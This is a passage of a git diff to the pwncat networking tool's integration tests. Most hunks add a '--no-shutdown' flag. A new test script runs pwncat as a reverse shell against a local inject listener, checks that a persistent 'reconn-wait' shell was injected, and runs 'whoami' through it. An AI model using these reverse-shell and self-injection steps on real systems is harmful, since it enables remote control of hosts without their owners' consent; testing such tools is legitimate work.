${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/23-options---reconn/001---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_send-srv_send.sh b/tests/integration/23-options---reconn/001---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_send-srv_send.sh index 07e081ef..6042eef1 100755 --- a/tests/integration/23-options---reconn/001---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_send-srv_send.sh +++ b/tests/integration/23-options---reconn/001---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_nosend-srv_send-srv_send.sh @@ -285,24 +285,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/23-options---reconn/002---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_send-srv_send-srv_send.sh b/tests/integration/23-options---reconn/002---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_send-srv_send-srv_send.sh index a45b56b2..e791a699 100755 --- a/tests/integration/23-options---reconn/002---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_send-srv_send-srv_send.sh +++ b/tests/integration/23-options---reconn/002---tcp---client_reconn---three_servers---server_default---srv_down_cli_send-srv_send-srv_send-srv_send.sh @@ -294,24 +294,24 @@ run_test() { for curr_round in $(seq "${RUNS}"); do # server opts client opts # BIND ON ANY - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "1" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "2" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "3" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "4" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "5" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "6" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "7" "14" "${curr_round}" "${RUNS}" # BIND ON SPECIFIC - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "8" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "9" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "10" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -4 -vvvv" "${RHOST} ${RPORT} -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "11" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -4 -vvvv" "${RHOST} ${RPORT} --no-shutdown -4 --reconn -vvvv" "12" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" - run_test "-l ${RHOST} ${RPORT} -6 -vvvv" "${RHOST} ${RPORT} -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown --reconn -vvvv" "13" "14" "${curr_round}" "${RUNS}" + run_test "-l ${RHOST} ${RPORT} --no-shutdown -6 -vvvv" "${RHOST} ${RPORT} --no-shutdown -6 --reconn -vvvv" "14" "14" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/25-options---ping_intvl/000---udp---reverse-shell.sh b/tests/integration/25-options---ping_intvl/000---udp---reverse-shell.sh index 2c8a5804..9a2becf4 100755 --- a/tests/integration/25-options---ping_intvl/000---udp---reverse-shell.sh +++ b/tests/integration/25-options---ping_intvl/000---udp---reverse-shell.sh @@ -139,19 +139,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-intvl 1 -u -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvv " "${RHOST} ${RPORT} --ping-intvl 1 -u -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vv " "${RHOST} ${RPORT} --ping-intvl 1 -u -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -v " "${RHOST} ${RPORT} --ping-intvl 1 -u -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u " "${RHOST} ${RPORT} --ping-intvl 1 -u -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-intvl 1 -u -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-intvl 1 -u -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-intvl 1 -u -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-intvl 1 -u " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} -u -vvv " "${RHOST} ${RPORT} --ping-intvl 1 -u -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vv " "${RHOST} ${RPORT} --ping-intvl 1 -u -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -v " "${RHOST} ${RPORT} --ping-intvl 1 -u -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u " "${RHOST} ${RPORT} --ping-intvl 1 -u " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-intvl 1 -u " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/26-options---ping_word/000---udp---reverse-shell.sh b/tests/integration/26-options---ping_word/000---udp---reverse-shell.sh index 453df849..2e27a2c4 100755 --- a/tests/integration/26-options---ping_word/000---udp---reverse-shell.sh +++ b/tests/integration/26-options---ping_word/000---udp---reverse-shell.sh @@ -148,19 +148,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvv " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vv " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -v " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vvvv" "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} -u -vvv " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -vv " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u -v " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} -u " "${RHOST} ${RPORT} --ping-word test --ping-intvl 1 -u " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vvvv" "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown -u -vvv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -vv " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u -v " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown -u " "${RHOST} ${RPORT} --no-shutdown --ping-word test --ping-intvl 1 -u " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/30-cnc---self_inject/000---tcp---pwncat_as_rev_shell.sh b/tests/integration/30-cnc---self_inject/000---tcp---pwncat_as_rev_shell.sh new file mode 100755 index 00000000..19e0242c --- /dev/null +++ b/tests/integration/30-cnc---self_inject/000---tcp---pwncat_as_rev_shell.sh @@ -0,0 +1,228 @@ +#!/usr/bin/env bash + +set -e +set -u +set -o pipefail + +SCRIPTPATH="$( cd "$(dirname "$0")" >/dev/null 2>&1 ; pwd -P )" +SOURCEPATH="${SCRIPTPATH}/../../.lib/conf.sh" +BINARY="${SCRIPTPATH}/../../../bin/pwncat" +# shellcheck disable=SC1090 +source "${SOURCEPATH}" + + +# ------------------------------------------------------------------------------------------------- +# GLOBALS +# ------------------------------------------------------------------------------------------------- + +RHOST="${1:-localhost}" +RPORT="${2:-4444}" + +STARTUP_WAIT="${3:-4}" +RUNS="${4:-1}" + +PYTHON="python${5:-}" +PYVER="$( "${PYTHON}" -V 2>&1 | head -1 || true )" + + +# ------------------------------------------------------------------------------------------------- +# TEST FUNCTIONS +# ------------------------------------------------------------------------------------------------- +print_test_case "${PYVER}" + +run_test() { + local srv_opts="${1// / }" + local cli_opts="${2// / }" + local curr_mutation="${3}" + local total_mutation="${4}" + local curr_round="${5}" + local total_round="${6}" + #local data= + #local data_or= + + print_h1 "[ROUND: ${curr_round}/${total_round}] (mutation: ${curr_mutation}/${total_mutation}) Starting Test Round (srv '${srv_opts}' vs cli '${cli_opts}')" + run "sleep 1" + + ### + ### Create data and files + ### + data="whoami\\n" + expect="$(whoami)\\n" + expect_or="$(whoami)\\r\\n" + srv_stdout="$(tmp_file)" + srv_stderr="$(tmp_file)" + cli_stdout="$(tmp_file)" + cli_stderr="$(tmp_file)" + srv2_stdout="$(tmp_file)" + srv2_stderr="$(tmp_file)" + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(1/9) Start: PwncatInjectListener" + + # Start Server + print_info "Start PwncatInjectListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${srv_opts} "${srv_stdout}" "${srv_stderr}" )"; then + printf "" + fi + + # Wait until Server is up + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Server is running + test_case_instance_is_running "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + # [SERVER] Ensure Server has no errors + test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + + # -------------------------------------------------------------------------------- + # START: CLIENT + # -------------------------------------------------------------------------------- + print_h2 "(2/9) Start: RevShell" + + # Start Client + print_info "Start RevShell" + # shellcheck disable=SC2086 + if ! cli_pid="$( run_bg "" "${PYTHON}" "${BINARY}" ${cli_opts} "${cli_stdout}" "${cli_stderr}" )"; then + printf "" + fi + + # Wait until Client is done + run "sleep ${STARTUP_WAIT}" + + # [SERVER] Ensure Client has no errors + test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + # -------------------------------------------------------------------------------- + # TEST: Inject shell is running + # -------------------------------------------------------------------------------- + print_h2 "(3/9) Test: Inject shell is running" + CURR=0 + TRIES=80 + # shellcheck disable=SC2009 + while [ "$(ps auxw | grep -v grep | grep reconn-wait | awk '{print $2}' | wc -l)" -ne "1" ]; do + printf "." + sleep 1 + CURR=$(( CURR + 1 )) + if [ "${CURR}" -gt "${TRIES}" ]; then + kill_pid "${srv_pid}" || true + kill_pid "${cli_pid}" || true + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" "${srv_stdout}" + print_file "RevShell] - [/dev/stderr" "${cli_stderr}" + print_file "RevShell] - [/dev/stdout" "${cli_stdout}" + FILES="$(grep 'tmpfile:' "${srv_stdout}" | sed 's/.*tmpfile: //g' | awk -F"'" '{print $2}')" + echo "${FILES}"| while read -r line; do + echo "${line}" + print_file "Remote tmpfile" "${line}" || true + done + print_error "Inject shell is not running" + run "ps" + run "ps -a" || true + run "ps -au" || true + run "ps -aux" || true + run "ps a" || true + run "ps au" || true + run "ps aux" || true + run "ps -ef" || true + exit 1 + fi + done + + + # -------------------------------------------------------------------------------- + # TEST: Client shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(4/9) Test: RevShell shut down automatically" + + ## Give some time for shutdown + #run "sleep 10" + + ## [CLIENT] Manually stop the Client + #test_case_instance_is_stopped "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" + + ## [CLIENT] Ensure Client still has no errors + #test_case_instance_has_no_errors "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "(Connection refused)|(actively refused)|(timed out)" + run "kill ${cli_pid}" || true + + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(5/9) Test: PwncatInjectListener shut down automatically" + + ## Give some time for shutdown + #run "sleep 10" + + ## [SERVER] Ensure Server has quit automatically + #test_case_instance_is_stopped "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + + ## [SERVER] Ensure Server still has no errors + #test_case_instance_has_no_errors "PwncatInjectListener" "${srv_pid}" "${srv_stdout}" "${srv_stderr}" "RevShell" "${cli_pid}" "${cli_stdout}" "${cli_stderr}" + run "kill ${srv_pid}" || true + + + # -------------------------------------------------------------------------------- + # START: SERVER + # -------------------------------------------------------------------------------- + print_h2 "(6/9) Start: FinalListener" + + # Start Server + run "sleep 5" + print_info "Start FinalListener" + # shellcheck disable=SC2086 + if ! srv_pid="$( run_bg "printf ${data}" "${PYTHON}" "${BINARY}" -l ${RPORT} -vvvv "${srv2_stdout}" "${srv2_stderr}" )"; then + printf "" + fi + + + # -------------------------------------------------------------------------------- + # DATA TRANSFER + # -------------------------------------------------------------------------------- + print_h2 "(7/9) Transfer: FinalListener -> Pwncat -> FinalListener" + + # [CLIENT -> SERVER -> CLIENT] + wait_for_data_transferred "" "${expect}" "${expect_or}" "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + + + # -------------------------------------------------------------------------------- + # TEST: Server shut down automatically + # -------------------------------------------------------------------------------- + print_h2 "(8/9) Test: FinalListener shut down automatically" + + ## Give some time for shutdown + #run "sleep 10" + + ## [SERVER] Ensure Server has quit automatically + #test_case_instance_is_stopped "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv_stderr}" + + ## [SERVER] Ensure Server has no errors + #test_case_instance_has_no_errors "FinalListener" "${srv_pid}" "${srv2_stdout}" "${srv2_stderr}" + run "kill ${srv_pid}" || true + + + # -------------------------------------------------------------------------------- + # CLEANUP + # -------------------------------------------------------------------------------- + print_h2 "(9/9) Cleanup" + + run "ps auxw | grep -v grep | grep reconn-wait | awk '{print \$2}' | xargs kill" || true + + print_file "PwncatInjectListener] - [/dev/stderr" "${srv_stderr}" + print_file "PwncatInjectListener] - [/dev/stdout" 